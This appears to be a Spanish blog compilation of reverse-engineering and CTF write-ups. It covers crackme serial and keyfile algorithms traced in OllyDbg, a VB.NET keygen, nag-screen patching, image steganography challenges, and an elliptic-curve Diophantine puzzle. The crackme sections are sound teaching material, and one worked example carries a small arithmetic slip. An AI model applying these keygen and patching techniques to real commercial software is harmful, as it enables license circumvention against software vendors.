00401103        |.  E8 70010000         CALL <JMP.&user32.MessageBoxA>        ; \MessageBoxA
........
00401183         .  3BD3                CMP EDX,EBX
00401185         .  74 15               JE SHORT Ice9.0040119C
00401187         .  8A07                MOV AL,BYTE PTR DS:[EDI]
00401189         .  3C 5A               CMP AL,5A                     ;Compara que el dígito < 5A
0040118B         .  7E 05               JLE SHORT Ice9.00401192
0040118D         >  03C8                ADD ECX,EAX                   ;ECX + Ascii(dígito)
0040118F         .  47                  INC EDI 
00401190         .^ EB EE               JMP SHORT Ice9.00401180
00401192         >  3C 41               CMP AL,41                     ;Compara que el dígito > 41
00401194         .  7D 02               JGE SHORT Ice9.00401198
00401196         .  EB 02               JMP SHORT Ice9.0040119A
00401198         >  04 2C               ADD AL,2C                     ;Si cumple lo anterior dígito +2C
0040119A         >^ EB F1               JMP SHORT Ice9.0040118D
0040119C         >  81C1 9A020000       ADD ECX,29A                   ;ECX + 29A
004011A2         .  69C9 39300000       IMUL ECX,ECX,3039             ;ECX * 3039
004011A8         .  83E9 17             SUB ECX,17                    ;ECX - 17
004011AB         .  6BC9 09             IMUL ECX,ECX,9                ;ECX * 9
004011AE         .  33DB                XOR EBX,EBX
004011B0         .  8BC1                MOV EAX,ECX                   ;Mueve nuestro SUM en EAX
004011B2         .  B9 0A000000         MOV ECX,0A                    ;ECX = A
004011B7         >  33D2                XOR EDX,EDX
004011B9         .  F7F1                DIV ECX                       ;SUM / ECX (Resultado a EAX)
004011BB         .  80C2 30             ADD DL,30
004011BE         .  881433              MOV BYTE PTR DS:[EBX+ESI],DL
004011C1         .  83C3 01             ADD EBX,1
004011C4         .  83F8 00             CMP EAX,0
004011C7         .  74 02               JE SHORT Ice9.004011CB
004011C9         .^ EB EC               JMP SHORT Ice9.004011B7
004011CB         >  BF C8304000         MOV EDI,Ice9.004030C8
004011D0         >  8A4433 FF           MOV AL,BYTE PTR DS:[EBX+ESI-1]
004011D4         .  8807                MOV BYTE PTR DS:[EDI],AL
004011D6         .  47                  INC EDI 
004011D7         .  4B                  DEC EBX
004011D8         .  83FB 00             CMP EBX,0
004011DB         .^ 75 F3               JNZ SHORT Ice9.004011D0
004011DD         .  C607 00             MOV BYTE PTR DS:[EDI],0               ;Coje letras del nombre en función
004011E0         .  8D3D B4304000       LEA EDI,DWORD PTR DS:[4030B4]         ;del resultado anterior
004011E6         .  68 B7304000         PUSH Ice9.004030B7                    ;  ASCII "rus"
004011EB         .  68 C8304000         PUSH Ice9.004030C8                    ;  ASCII "134992368rus"
004011F0         .  E8 BB000000         CALL Ice9.004012B0                    ; Concatena
004011F5         .  68 C8304000         PUSH Ice9.004030C8                    ; /String2 = "136325628rus"
004011FA         .  68 98314000         PUSH Ice9.00403198                    ; |String1 = "12345"
004011FF         .  E8 98000000         CALL <JMP.&kernel32.lstrcmpA>         ; \lstrcmpA

Resumen (valores hexadecimales):

  • Len(Nombre ) >=4 y <=A
  • Comprueba si el dígito está es mayúsculas y si está le sume 2C al valor ascii.
  • Suma el valor ascii de todos los dígitos menos el último.
  • SUM + 29A
  • SUM * 3039
  • SUM – 17
  • SUM * 9

Finalmente concatena letras siguiendo este criterio:

  • Len(nombre) = 4 -> coje la última letra
  • Len(nombre) = 5 -> coje las dos últimas
  • Len(nombre) = 6 -> coje las tres últimas
  • Len(nombre) = 7 -> coje las cuatro últimas
  • Len(nombre) = 8 -> coje las cinco últimas
  • Len(nombre) = 9 -> coje las seis últimas
  • Len(nombre) = A -> coje las siete últimas

Ejemplo para deurus

d  e  u  r  u  (s)
64+65+75+72+75 = 225
225 + 29A   = 4BF
4BF * 3039  = E4DE87
E4DE87 - 17 = E4DE70
E4DE70 * 9  = 80BD1F0
;Pasamos a decimal y concatenamos
134992368rus

Ejemplo para Deurus

D       e  u  r  u  (s)
44(+2C)+65+75+72+75 = 25D
25D + 29A   = 4F7
4BF * 3039  = EF6AFF
EF6AFF - 17 = EF6AE8
EF6AE8 * 9  = 86AC228
;Pasamos a decimal y concatenamos
141214248rus

Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.

Links


El reto Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero
Intro Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección
Intro Análisis Keygen Links Intro El crackme que analizamos hoy está hecho en ensamblador y si bien su dificultad es
Introducción Herramientas disponibles CrkViz-1 (Serial a la vista) CrkViz-2 (Parcheando rutina aleatoria) CrkViz-3 (Nag+Keygen) CrkViz-4 (Límite de ejecuciones+Keygen) CrkViz-5 (Serial

El reto

Se nos proporciona la imagen anterior y se nos invita a resolver la ecuación para el menor entero positivo que representa cada fruta. La solución del reto es concatenar «Flag-» a la suma de los valores de las tres frutas.

Análisis inicial

El enunciado es breve pero ya nos adelanta que existen varias soluciones y que además sólo quieren los números más pequeños que podamos encontrar.

Las frutas están muy bien y son muy sanas pero a nosotros se nos hace más sencillo plantear la ecuación con letras.

\begin{align}
&  \frac{x}{y+z}+\frac{y}{x+z}+\frac{z}{x+y}=4\\
\end{align}

Para arrojar algo de luz veamos la representación gráfica en 2D y 3D con la ayuda de Desmos.

3D

Las gráficas más que luz nos traen oscuridad de modo que preguntemos a ChatGPT.

ChatGPT

resuelve: (x/y+z)+(y/x+z)+(z/x+y)=4 para enteros positivos

Dado que las variables x, y, z son enteros positivos, podemos intentar encontrar una solución para la ecuación bajo estas condiciones. Sin embargo, encontrar una solución exacta puede ser complejo debido a la naturaleza no lineal de la ecuación. Aun así, podemos intentar algunos enfoques:

  • Prueba y error: Podemos probar diferentes combinaciones de valores enteros positivos para x, y, z y ver si satisfacen la ecuación.
  • Análisis de casos específicos: Podemos comenzar analizando casos más simples, como cuando dos de las variables son iguales, y luego ampliar nuestra búsqueda desde allí.
  • Análisis gráfico o numérico: Utilizando herramientas gráficas o numéricas, podríamos identificar posibles soluciones y luego verificar si son enteros positivos.

Voy a realizar un análisis numérico con un rango limitado de valores para ver si encontramos alguna solución que cumpla con las condiciones. Vamos a probar con valores de 1 a 10 para cada variable.

El análisis numérico para valores de en el rango de 1 a 10 no ha encontrado ninguna solución que satisfaga la ecuación. Esto sugiere que, dentro de este rango, no existen combinaciones de enteros positivos que cumplan con la ecuación.

Dado que la ecuación es bastante compleja y no lineal, es posible que las soluciones, si existen, se encuentren fuera del rango considerado o que requieran un enfoque diferente para ser identificadas. Si tienes un rango específico de valores en mente o si hay alguna otra restricción o contexto relevante, por favor házmelo saber para poder ajustar el análisis en consecuencia.

Básicamente nos está invitando a utilizar prueba y error para encontrar una solución, y el prueba y error de las matemáticas no es más que la fuerza bruta en programación.

El código

Partiendo del problema anterior dame un código en python que realice una comprobación recursiva de todas las variables con un rango de 1 a 999.

soluciones = []
rango_valores_x = range(1, 999)
rango_valores_y = range(1, 999)
rango_valores_z = range(1, 999)

for x in rango_valores_x:
    for y in rango_valores_y:
        for z in rango_valores_z:
            # Calculamos el valor de la expresión para cada combinación de x, y, z
            valor = x / (y + z) + y / (x + z) + z / (x + y)
            # Comprobamos si el valor es igual a 4 y agregamos la solución a la lista
            if abs(valor - 4) < 1e-6:  # Usamos una pequeña tolerancia para evitar errores de precisión
                soluciones.append((x, y, z))

print(soluciones)

Dejo resaltada la línea 12 del código ya que en ella reside el problema. Está comprobando con un margen de tolerancia de 10-6 ya que el resultado de las diferentes fracciones no da como resultado exacto 4. Esto es un problema ya que nosotros necesitamos que de exactamente 4 para validar los valores enteros de x, y y z. Pongo un ejemplo para el que se haya perdido con una solución válida para la tolerancia 10-6 siendo x=2, y=264 y z=993.

\begin{align}
&  \frac{2}{264+993}+\frac{264}{2+993}+\frac{993}{2+264}=4.000000429\\
\end{align}

En otras palabras, ChatGPT nos ha brindado una solución aproximada que no sirve para nuestro propósito. Seguimos probando con el código anterior quitando la tolerancia y con rangos mayores hasta que en 106 paro. Me acaba de quedar claro que con la fuerza bruta no vamos a ninguna parte, o más bien, no tenemos capacidad de computación para resolverlo de ésta manera.

¿Qué está pasando?

Lo que pasa es que estamos ante una ecuación algebraica de 3 incógnitas que deben ser enteros positivos cuya solución se alcanza mediante la teoría de curvas elípticas.

Curvas elípticas

Las curvas elípticas son fundamentales en matemáticas avanzadas, representadas por la ecuación y2=x3+Ax+B, donde A y B son constantes. Estas curvas son un punto de encuentro entre la geometría, la teoría de números y el álgebra, ofreciendo un campo rico para la exploración y el análisis. En este CTF, nos enfocaremos en los puntos racionales de las curvas elípticas. Utilizando el método tangente-secante, un procedimiento geométrico iterativo, buscaremos ampliar un conjunto finito de soluciones conocidas a la ecuación de la curva. Este método nos permite indagar en la estructura de las soluciones racionales, que potencialmente pueden ser infinitas. Además, estableceremos una conexión entre las soluciones enteras de las ecuaciones diofánticas y los puntos racionales en las curvas elípticas partiendo de la ecuación (1) especificada en el análisis inicial. A pesar de su aparente simplicidad, esta ecuación es conocida por presentar soluciones mínimas de gran tamaño.

Adecuación

Antes de nada, necesitamos saber el grado de la ecuación, de modo que planteamos la ecuación en forma polinómica estándar deshaciéndonos de los denominadores.

\begin{align}
\begin{split}
n(a+b)(b+c)(c+a)=a(a+b)(c+a)+b(b+c)(a+b)+c(c+a)(b+c)
\end{split}
\end{align}

Ahora necesitamos expandir y simplificar para llegar a la conclusión de que estamos ante una ecuación diofántica de grado 3. Este proceso es engorroso por la cantidad de términos a manejar así que vamos a utilizar Mathematica como software de respaldo para finalmente obtener el polinomio en la forma de Weierstrass según la ecuación 4.

\begin{align}
&  y^2=x^3+109x^2+224x\\
\end{align}

donde:

\begin{align}
x = \frac{−28(a+b+2c)}{(6a+6b−c)}\\
y = \frac{364(a−b)}{(6a+6b−c)}
\end{align}

Las relación entre la ecuación 3 y los puntos de la curva elíptica se establecen mediante la ecuación 4. Las transformaciones entre las soluciones (a, b, c) y los puntos (x, y) en la curva elíptica vienen dados por las ecuaciones 5 y 6. Con estas transformaciones, cada solución de la ecuación diofántica se puede representar como un punto en la curva elíptica, y las operaciones de suma de puntos en la curva elíptica pueden usarse para encontrar nuevas soluciones de la ecuación diofántica.

Mathematica

El código que tenéis a continuación pertenece al gran trabajo de Aditi Kulkarni [7], que además nos da el resultado para cualquier valor de n. Ojo porque para n=4 el resultado tiene 81 dígitos, para n=6 tiene 134, para n=10 tiene 190 y para n=12 asciende a 2707 dígitos.

(* Asignar un valor numérico a n *)
n = 4;
(* Definir la ecuación de una curva elíptica en términos de n *)
curve4 = y^2 == x^3 + (4*n^2 + 12*n - 3)*x^2 + 32*(n + 3)*x;
(* Encontrar un punto racional en la curva que no sea (4,0) *)
P4 = {x, y} /. First[FindInstance[curve4 && x != 4 && y != 0, {x, y}, Integers]];
(* Función para calcular la pendiente entre dos puntos en la curva, 
   o la derivada en el punto si son iguales *)
Slope4[{x1_, y1_}, {x2_, y2_}] := 
  If[x1 == x2 && y1 == y2, 
     ImplicitD[curve4, y, x] /. {x -> x1, y -> y1}, 
     (y2 - y1)/(x2 - x1)];
(* Función para calcular la intersección en y de la línea entre dos puntos 
   o la tangente en el punto si son iguales *)
Intercept4[{x1_, y1_}, {x2_, y2_}] := y1 - Slope4[{x1, y1}, {x2, y2}]*x1; 
(* Función para encontrar el siguiente punto racional en la curva *)
nextRational4[{x1_, y1_}, {x2_, y2_}] := 
  {Slope4[{x1, y1}, {x2, y2}]^2 - CoefficientList[curve4[[2]], x][[3]] - x1 - x2, 
   -Slope4[{x1, y1}, {x2, y2}]^3 + Slope4[{x1, y1}, {x2, y2}]*(CoefficientList[curve4[[2]], x][[3]] + x1 + x2) - Intercept4[{x1, y1}, {x2, y2}]};
(* Función para convertir un punto en la curva elíptica a una solución diofántica *)
ellipticToDiophantine[n_, {x_, y_}] := 
  {(8*(n + 3) - x + y)/(2*(4 - x)*(n + 3)), 
   (8*(n + 3) - x - y)/(2*(4 - x)*(n + 3)), 
   (-4*(n + 3) - (n + 2)*x)/((4 - x)*(n + 3))};
(* Usar nextRational4 para iterar desde P4 hasta encontrar una solución 
   válida y positiva para la ecuación diofántica *)
sol4 = ellipticToDiophantine[n, 
   NestWhile[nextRational4[#, P4] &, P4, 
     ! AllTrue[ellipticToDiophantine[n, #], Function[item, item > 0]] &]];
(* Escalar la solución para obtener enteros mínimos *)
MinSol4 = sol4*(LCM @@ Denominator[sol4])
(* Suma de las tres variables*)
Total[MinSol4]

Solución

Concatenando Flag- con el resultado de Mathematica tenemos la ansiada flag.

Flag-195725546580804863527010379187516702463973843196699016314931210363268850137105614

Conclusiones

ChatGPT ha demostrado ser eficaz en el análisis y la resolución de problemas, siempre que se le proporcione el contexto adecuado. Sin embargo, es importante ser conscientes de que la respuesta proporcionada puede ser aproximada, especialmente si la solución requiere una gran cantidad de recursos computacionales. Por ejemplo, al trabajar con una ecuación diofántica y valores específicos para (x) e (y), ChatGPT puede ayudar a calcular puntos como (P), (2P), (3P), etc., pero hay que tener en cuenta que los resultados para estos puntos pueden ser estimaciones.

Finalmente, os invito a leer la solución de Mingliang Z. [4], en la que se resuelve el problema por completo y de forma muy detallada.

Enlaces

Intro

Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección por tiempo límite a través de un keyfile llamado «data.det«. Disponemos de tres días o nueve sesiones antes de que el crackme expire.

El algoritmo

La primera vez que ejecutamos el crackme, crea el fichero «data.det» y realiza lo siguiente:

  • Lee el fichero data.det que inicialmente tiene 10 bytes a cero y el último byte un 60(`).
  • Comprueba que tenga 11 bytes (B) y continúa.
  • Al detectar el fichero vacío le mete valores codificandolos con XOR 6969. Los almacena en memoria 4030AB y siguientes.
00401000 t>/$  6A 00               PUSH 0                                    ; /pModule = NULL
00401002   |.  E8 0B020000         CALL <JMP.&KERNEL32.GetModuleHandleA>     ; \GetModuleHandleA
00401007   |.  A3 F4304000         MOV DWORD PTR DS:[4030F4],EAX             ;  kernel32.BaseThreadInitThunk
0040100C   |.  6A 00               PUSH 0                                    ; /hTemplateFile = NULL
0040100E   |.  68 80000000         PUSH 80                                   ; |Attributes = NORMAL
00401013   |.  6A 03               PUSH 3                                    ; |Mode = OPEN_EXISTING
00401015   |.  6A 00               PUSH 0                                    ; |pSecurity = NULL
00401017   |.  6A 00               PUSH 0                                    ; |ShareMode = 0
00401019   |.  68 000000C0         PUSH C0000000                             ; |Access = GENERIC_READ|GENERIC_WRITE
0040101E   |.  68 A2304000         PUSH timetria.004030A2                    ; |FileName = "DATA.DET"
00401023   |.  E8 DE010000         CALL <JMP.&KERNEL32.CreateFileA>          ; \CreateFileA
00401028   |.  83F8 FF             CMP EAX,-1
0040102B   |.  74 07               JE SHORT timetria.00401034
0040102D   |.  A3 14314000         MOV DWORD PTR DS:[403114],EAX             ;  kernel32.BaseThreadInitThunk
00401032   |.  EB 18               JMP SHORT timetria.0040104C
00401034   |>  6A 30               PUSH 30                                   ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
00401036   |.  68 38304000         PUSH timetria.00403038                    ; |Title = "I don't like this !"
0040103B   |.  68 02304000         PUSH timetria.00403002                    ; |Text = "Where is my DATA.DET file?\r\nI can't run without it..."
00401040   |.  6A 00               PUSH 0                                    ; |hOwner = NULL
00401042   |.  E8 B3010000         CALL <JMP.&USER32.MessageBoxA>            ; \MessageBoxA
00401047   |.  E9 22010000         JMP timetria.0040116E
0040104C   |>  6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040104E   |.  68 E0304000         PUSH timetria.004030E0                    ; |pBytesRead = timetria.004030E0
00401053   |.  6A 32               PUSH 32                                   ; |BytesToRead = 32 (50.)
00401055   |.  68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040105A   |.  FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = NULL
00401060   |.  E8 B9010000         CALL <JMP.&KERNEL32.ReadFile>             ; \ReadFile
00401065   |.  833D E0304000 0B    CMP DWORD PTR DS:[4030E0],0B
0040106C   |.  0F85 E9000000       JNZ timetria.0040115B
00401072   |.  BB AB304000         MOV EBX,timetria.004030AB
00401077   |.  68 E4304000         PUSH timetria.004030E4                    ; /pSystemTime = timetria.004030E4
0040107C   |.  E8 97010000         CALL <JMP.&KERNEL32.GetSystemTime>        ; \GetSystemTime
00401081   |.  803B 00             CMP BYTE PTR DS:[EBX],0
00401084   |.  75 22               JNZ SHORT timetria.004010A8               ;  Si existe el fichero salta a las comprobaciones
00401086   |.  51                  PUSH ECX
00401087   |.  33C9                XOR ECX,ECX
00401089   |.  EB 15               JMP SHORT timetria.004010A0
0040108B   |>  66:8B81 E4304000    /MOV AX,WORD PTR DS:[ECX+4030E4]          ;  |
00401092   |.  66:35 6969          |XOR AX,6969                              ;  |
00401096   |.  66:8981 AB304000    |MOV WORD PTR DS:[ECX+4030AB],AX          ;  |
0040109D   |.  83C1 02             |ADD ECX,2                                ;  | Bucle de codificacion de data.det por primera vez
004010A0   |>  83F9 08              CMP ECX,8                                ;  |
004010A3   |.^ 76 E6               \JBE SHORT timetria.0040108B              ;  |
004010A5   |.  59                  POP ECX                                   ;  kernel32.7580EE1C
004010A6   |.  EB 3A               JMP SHORT timetria.004010E2

 

Vigilando el proceso de creación del archivo podemos llegar a la conclusión de como se genera.

  • Los dos primeros bytes son el año = 2014 = 0x7DE. 7DE XOR 6969 = 6EB7.
  • Los dos siguientes son el mes = 10 = 0xA. A XOR 6969 = 6963.
  • Los dos siguientes usa un 4 (día de la semana???) = 0x4. 4 XOR 6969 = 696D.
  • Los dos siguientes son el día del mes = 2 = 0x2. 2 XOR 6969 = 696B
  • Los dos siguientes usa un 1 = 0x1. 1 XOR 6969 = 6968.
  • El número de sesiones lo deja como está, 60.

Estado de la memoria:

004030AB  B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`
  •  Finalmente le resta 1 al número de sesiones y guarda el fichero.
004010E2   |> \A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]
004010E7   |.  34 69               XOR AL,69
004010E9   |.  3C 00               CMP AL,0
004010EB   |. /74 59               JE SHORT timetria.00401146
004010ED   |. |FEC8                DEC AL
004010EF   |. |A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |. |34 69               XOR AL,69
004010F6   |. |A2 B5304000         MOV BYTE PTR DS:[4030B5],AL
004010FB   |. |6A 00               PUSH 0                                    ; /Origin = FILE_BEGIN
004010FD   |. |6A 00               PUSH 0                                    ; |pOffsetHi = NULL
004010FF   |. |6A 00               PUSH 0                                    ; |OffsetLo = 0
00401101   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401107   |. |E8 18010000         CALL <JMP.&KERNEL32.SetFilePointer>       ; \SetFilePointer
0040110C   |. |6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040110E   |. |68 E0304000         PUSH timetria.004030E0                    ; |pBytesWritten = timetria.004030E0
00401113   |. |6A 0B               PUSH 0B                                   ; |nBytesToWrite = B (11.)
00401115   |. |68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040111A   |. |FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = 00000034 (window)
00401120   |. |E8 05010000         CALL <JMP.&KERNEL32.WriteFile>            ; \WriteFile

En cada ejecución realiza tres comprobaciones.
Recordemos el contenido del fichero:

B7 6E 63 69 6D 69 6B 69 68 69 60                 ·ncimikihi`

1) Mes y año (4 primeros bytes)

004010A8   |> \8B0D AB304000       MOV ECX,DWORD PTR DS:[4030AB] ; ECX=69636EB7
004010AE   |.  81F1 69696969       XOR ECX,69696969              ; 69636EB7 xor 69696969 = A07DE (A = mes y 7DE = año)
004010B4   |.  A1 E4304000         MOV EAX,DWORD PTR DS:[4030E4]
004010B9   |.  3BC1                CMP EAX,ECX                   ; Compara con mes y año actuales
004010BB   |.  0F85 85000000       JNZ timetria.00401146         ; Bad boy

2) Día (7º y 8º byte)

004010C1   |.  66:8B0D B1304000    MOV CX,WORD PTR DS:[4030B1]   ; CX = 696B
004010C8   |.  66:81F1 6969        XOR CX,6969                   ; 696B xor 6969 = 2
004010CD   |.  66:A1 EA304000      MOV AX,WORD PTR DS:[4030EA]   ; AX = día actual obtenido con GetSystemTime
004010D3   |.  66:2BC1             SUB AX,CX                     ; Los resta
004010D6   |.  66:83F8 03          CMP AX,3                      ; Compara con 3
004010DA   |.  77 6A               JA SHORT timetria.00401146    ; Si el resultado >=3 Bad Boy

3) Sesiones (11º byte)

004010DC   |.  2805 00304000       SUB BYTE PTR DS:[403000],AL   ;
004010E2   |>  A0 B5304000         MOV AL,BYTE PTR DS:[4030B5]   ; AL = numero de sesiones actual
004010E7   |.  34 69               XOR AL,69                     ; 61 Xor 69 = 8
004010E9   |.  3C 00               CMP AL,0                      ; Compara con 0
004010EB   |.  74 59               JE SHORT timetria.00401146    ; Salta si hemos superado las 9 sesiones. Bad boy
004010ED   |.  FEC8                DEC AL                        ; Si no le resta 1
004010EF   |.  A2 01304000         MOV BYTE PTR DS:[403001],AL
004010F4   |.  34 69               XOR AL,69                     ; y le hace xor 69 para codificar el nuevo valor de sesión
004010F6   |.  A2 B5304000         MOV BYTE PTR DS:[4030B5],AL

Con esto ya podemos alterar el archivo a nuestro antojo sin necesidad de parchear.

Keygen

Try
            ano = ano Xor 26985
            mes = mes Xor 26985
            dia = dia Xor 26985
            anos = Hex(ano).ToString
            mess = Hex(mes).ToString
            dias = Hex(dia).ToString
            If txtsesiones.Text <= 255 Then
                sesioness = Hex(sesiones)
            Else
                sesiones = 255
            End If
            sesioness = Hex(sesiones)
            'key = 00 00 00 00 00 00 00 00 00 00 00
            'key = año+año+mes+mes+X+X+dia+dia+X+sesiones
            key = Chr(Convert.ToInt32(anos.Substring(2, 2), 16)) & Chr(Convert.ToInt32(anos.Substring(0, 2), 16)) _
            & Chr(Convert.ToInt32(mess.Substring(2, 2), 16)) & Chr(Convert.ToInt32(mess.Substring(0, 2), 16)) _
            & Chr(106) & Chr(105) _
            & Chr(Convert.ToInt32(dias.Substring(2, 2), 16)) & Chr(Convert.ToInt32(dias.Substring(0, 2), 16)) _
            & Chr(103) & Chr(105) _
            & Chr(Convert.ToInt32(sesioness.Substring(0, 2), 16))
            'Creo el archivo llave
            Dim ruta As String = Application.StartupPath & "\DATA.DET"
            If File.Exists(ruta) Then
                File.Delete(ruta)
            End If
            Using sw As StreamWriter = New StreamWriter(ruta, True, System.Text.Encoding.Default)
                sw.Write(key)
                sw.Close()
            End Using
            MsgBox("DATA.DET generado correctamente", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Info")
        Catch ex As Exception
            MsgBox("Ocurrió algún error" & vbCrLf & ex.Message)
        End Try

 Links


Con The Ring inauguro una nueva sección llamada Blooper Tech Movie (BTM), algo así como pifias o tomas falsas tecnológicas
Se nos entrega el siguiente ELF: Extracción de la Flag Si nos fijamos en las líneas 41 a la 45
Introducción Hoy tenemos aquí un crackme hecho en Visual Basic 6 (pcode), pero lo vamos a abordar de una manera
Introducción Continuamos con la segunda entrega de Cruehead. En este caso nos encontramos con un único campo de contraseña para

Introducción

Hoy vamos a enfrentarnos a cuatro retos de esteganografía relativamente sencillos, y digo relativamente, debido a que hay tantas formas de esconder información en un archivo, ya sea imagen, vídeo o sonido, que afrontarlos suele ser desesperante. Las cuatro imágenes son aparentemente las mismas que la que se ve en portada.

Una buena práctica cuando te enfrentas a retos stego de tipo imagen es realizar una búsqueda inversa. Una búsqueda inversa consiste en buscar la imagen original mediante buscadores especializados como TinEye o Google. Si conseguimos la imagen original podemos resolver el reto simplemente comparando o nos puede dar una idea del tipo de modificación por su diferencia de tamaño, colores, degradados, etc.

Stego 1

Descargamos la imagen del reto. Se trata de una imagen JPEG de 526×263 y 76.6 KB (78445 bytes). Su hash SHA1 es «89aed5bbc3542bf5c60c4c318fe99cb1489f267a«

Realizamos una búsqueda inversa de la imagen y encontramos sin dificultad la imagen original mediante TinEye.

18-06-2016 07-27-02

Características de la imagen original:

  • Resolución: 526×263
  • Tamaño: 78447 bytes (76.6 KB)
  • Hash SHA1: 8924676317077fc07c252ddeec04bd2a0ecfdda4

Por lo que vemos ha cambiado el tamaño de 78447 bytes a 78445 bytes y su hash SHA1 tampoco coincide obviamente, lo que nos confirma que ha sufrido alguna modificación. Echando un vistazo con un editor hexadecimal te puedes volver loco por lo que vamos a realizar una comparación mediante la herramienta online DiffNow.

18-06-2016 07-40-51

Al realizar la comparación sale a relucir lo que buscamos. La clave es una simple cadena de texto.

Stego 2

Lo primero es realizar de nuevo la comparación.

ImagenTamañoSHA1
Original78447 bytes8924676317077fc07c252ddeec04bd2a0ecfdda4
imagen2.jpeg116386 bytes7641e3906f795c137269cefef29f30fcb9cb1b07

Como vemos, la imagen ha aumentado significativamente, de 76,6 KB a 113 KB. Cuando el aumento de tamaño llama la atención normalmente tenemos otro archivo insertado. Lo primero que suelo hacer yo es fijarme si ha sido modificado el final del archivo con un editor hexadecimal. Los bytes de cola de un archivo jpg/jpeg son FFD9 y en este caso no vemos modificación alguna al final del archivo. Si el archivo no está al final requiere realizar una búsqueda más exhaustiva. Para estos casos tengo una herramienta de creación propia que se llama Ancillary y que sirve para buscar cierto tipo de archivos dentro de otros como imágenes, documentos de Office, Open Office, pdf, etc. Ancillary encuentra otro jpg que es el que le daba el peso extra y que vemos a continuación. La clave es el título de la película (ojo a las mayúsculas/minúsculas).

image2_thumb

Stego 3

El tercer reto parece que tiene algún error debido a que el archivo coincide completamente con el original. Pienso que se ha subido la imagen original por error. Se lo he comunicado al admin del dominio y si algún día obtengo respuesta actualizaré la entrada.

ImagenTamañoSHA1
Original78447 bytes8924676317077fc07c252ddeec04bd2a0ecfdda4
imagen3.jpeg78447 bytes8924676317077fc07c252ddeec04bd2a0ecfdda4

Actualización 21/08/2016

Al parecer, la solución de este reto es llegar a la conclusión de que la imagen no está modificada. La respuesta del Administrador de la web así lo confirma.

desingsecurity [at] gmail [dot] com – Sorry about the delay, is precisely what is intended with that challenge, they can determine if the image is changed or not , the challenge was solved you . We’ll be equal way improving this point.

Greetings and Thanks

Stego 4

Lo primero es realizar de nuevo la comparación.

ImagenTamañoSHA1
Original78447 bytes8924676317077fc07c252ddeec04bd2a0ecfdda4
imagen4.jpeg93174 bytesa6329ea4562ef997e5afd067f3b53bdab4665851

Al igual que en el caso dos el tamaño ha aumentado significativamente de modo que miramos al final del archivo y esta vez si vemos que hay insertado unos bytes tras el final del jpg (recordemos FFD9)

18-06-2016 07-10-40

El archivo tiene pinta de ser una hoja de cálculo de Open Office o Libre Office según indica la palabra «spreadsheet«. Lo abrimos con Excel y tras analizar la maraña de datos enseguida vemos una clave que llama la atención.

  • Challengeland (El dominio ya no existe) [Archive]

Herramientas utilizadas

Intro

Es un crackme realizado en ensamblador y en el que el objetivo es remover la NAG de la forma más limpia posible.

Analizando a la víctima

Abrimos el crackme con Olly y ya a simple vista vemos los mensajes de la Nag y parte del código interesante. Si necesitaramos localizar la Nag podemos mirar en las intermodular calls las típicas subrutinas, en este caso se ve claramente  a MessageBoxA, bastaría con poner un breakpoint para localizar quien llama.

Aquí vemos la implicación de MessageBoxA.

004010A7     |> \6A 40                    PUSH 40                                         ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
004010A9     |.  68 61304000              PUSH Nag1.00403061                              ; |Title = "[NAG] Please register this software!"
004010AE     |.  68 86304000              PUSH Nag1.00403086                              ; |Text = "[BULLSHIT] Please register this software for support and you'll receive the full version!"
004010B3     |.  FF75 08                  PUSH [ARG.1]                                    ; |hOwner = 7FFDF000
004010B6     |.  E8 49010000              CALL <JMP.&user32.MessageBoxA>                  ; \MessageBoxA
........
00401137     |.  6A 40                    PUSH 40                                         ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
00401139     |.  68 6E324000              PUSH Nag1.0040326E                              ; |Title = "Thank you!"
0040113E     |.  68 79324000              PUSH Nag1.00403279                              ; |Text = "Thank you for registering this software!"
00401143     |.  FF75 08                  PUSH [ARG.1]                                    ; |hOwner = 7FFDF000
00401146     |.  E8 B9000000              CALL <JMP.&user32.MessageBoxA>                  ; \MessageBoxA
........
00401155     |.  6A 40                    PUSH 40                                         ; /Style = MB_OK|MB_ICONASTERISK|MB_APPLMODAL
00401157     |.  68 E0304000              PUSH Nag1.004030E0                              ; |Title = "About"
0040115C     |.  68 E6304000              PUSH Nag1.004030E6                              ; |Text = "Remove the NAG by TDC\r\n\n..: Coded by\t: TDC\t\t\t:..\t\r\n..: Also known as\t: The Dutch Cracker\t:..\t\r\n..: Protection\t: Custom\t\t\t:..\t\r\n..: Contact info\t: tdc123@gmail.com\t:..\t\r\n..: Release date\t: 09-08-2005\t\t:..\t"...
00401161     |.  FF75 08                  PUSH [ARG.1]                                    ; |hOwner = 7FFDF000
00401164     |.  E8 9B000000              CALL <JMP.&user32.MessageBoxA>                  ; \MessageBoxA

 Un poco encima vemos la función SetDlgItemTextA, que nos mostrará el mensaje de que hemos parcheado correctamente.

dlgitem

00401106     |> \68 21304000              PUSH Nag1.00403021                              ; /Text = "Dirty crack! Nag removed not registered!"
0040110B     |.  6A 73                    PUSH 73                                         ; |ControlID = 73 (115.)
0040110D     |.  FF75 08                  PUSH [ARG.1]                                    ; |hWnd = 7FFDF000
00401110     |.  E8 FB000000              CALL <JMP.&user32.SetDlgItemTextA>              ; \SetDlgItemTextA
00401115     |.  EB 36                    JMP SHORT Nag1.0040114D
00401117     |>  68 10304000              PUSH Nag1.00403010                              ; /Text = "Nag not removed!"
0040111C     |.  6A 73                    PUSH 73                                         ; |ControlID = 73 (115.)
